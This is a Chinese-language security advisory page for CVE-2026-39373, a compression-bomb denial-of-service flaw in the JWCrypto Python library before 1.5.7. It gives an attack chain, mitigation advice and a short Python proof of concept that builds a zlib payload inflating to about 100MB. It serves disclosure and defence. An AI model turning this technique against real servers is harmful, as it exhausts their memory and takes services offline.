IPBUF安全漏洞报告
English
CVE-2026-39373 CVSS 5.3 中危

CVE-2026-39373 JWCrypto内存耗尽漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39373
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JWCrypto

相关标签

DoS内存耗尽资源耗尽JWCrypto压缩炸弹CVE-2026-39373

漏洞概述

JWCrypto是一个用于实现JWK、JWS和JWE规范的Python库。在1.5.7版本之前,该库存在一个安全漏洞。尽管此前针对CVE-2024-28102的补丁将输入令牌大小限制为250KB,但未验证解压后的输出大小。未经身份认证的攻击者可以通过发送带有ZIP压缩的特制JWE令牌,利用压缩炸弹原理,导致服务器内存耗尽,从而引发拒绝服务攻击。该问题已在1.5.7版本中修复。

技术细节

该漏洞的根本原因在于JWCrypto对JWE令牌解压处理过程中的逻辑缺陷。虽然之前的修复限制了输入令牌的大小为250KB,以防止直接的输入过载,但开发者忽略了压缩算法的特性(特别是ZIP压缩)。攻击者可以构造一个经过高度压缩的恶意JWE令牌,该令牌虽然小于250KB的限制,但在解压缩后会膨胀至巨大的体积(约为100MB)。当服务器处理这个恶意令牌时,会尝试将解压后的数据加载到内存中。由于未对解压后的输出大小进行校验,这会导致服务器内存被迅速耗尽。对于内存受限的系统,这种攻击会导致服务崩溃或严重卡顿,造成拒绝服务。攻击向量为网络(AV:N),无需用户交互(UI:N)且无需认证(PR:N),使得攻击非常容易实施。

攻击链分析

STEP 1
步骤1
攻击者构造经过ZIP压缩的高膨胀率恶意JWE令牌,使其体积小于250KB。
STEP 2
步骤2
攻击者将该特制令牌发送至运行了受影响版本JWCrypto的目标服务器。
STEP 3
步骤3
服务器接收令牌,通过输入大小校验(<250KB)。
STEP 4
步骤4
服务器尝试解压令牌内容,解压后数据膨胀至约100MB并加载至内存。
STEP 5
步骤5
服务器内存被耗尽,导致服务不可用(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zlib import json # Proof of Concept for CVE-2026-39373 # Description: Generates a compressed payload that expands significantly upon decompression. # This demonstrates the "Zip Bomb" technique used to exhaust memory. def create_malicious_payload(): # Create a large string (e.g., 100MB of 'A's) # This represents the decompressed size that causes memory exhaustion target_size_mb = 100 large_data = b'A' * (target_size_mb * 1024 * 1024) # Compress the data. zlib is used as a proxy for the ZIP compression mentioned. # The compression ratio for repetitive data is very high. compressed_data = zlib.compress(large_data) print(f"Original size: {len(large_data)} bytes (~{target_size_mb}MB)") print(f"Compressed size: {len(compressed_data)} bytes") # Check if it bypasses the 250KB input limit mentioned in the CVE if len(compressed_data) < 250 * 1024: print("Status: Payload bypasses input size limit (< 250KB). Vulnerability confirmed.") # In a real attack scenario, this compressed_data would be base64 encoded # and placed inside a JWE token structure. return compressed_data else: print("Status: Payload too large to bypass current input limits.") return None if __name__ == "__main__": create_malicious_payload()

影响范围

JWCrypto < 1.5.7

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对JWE解压操作增加严格的内存限制和超时控制,或者临时禁用对ZIP压缩格式JWE令牌的处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表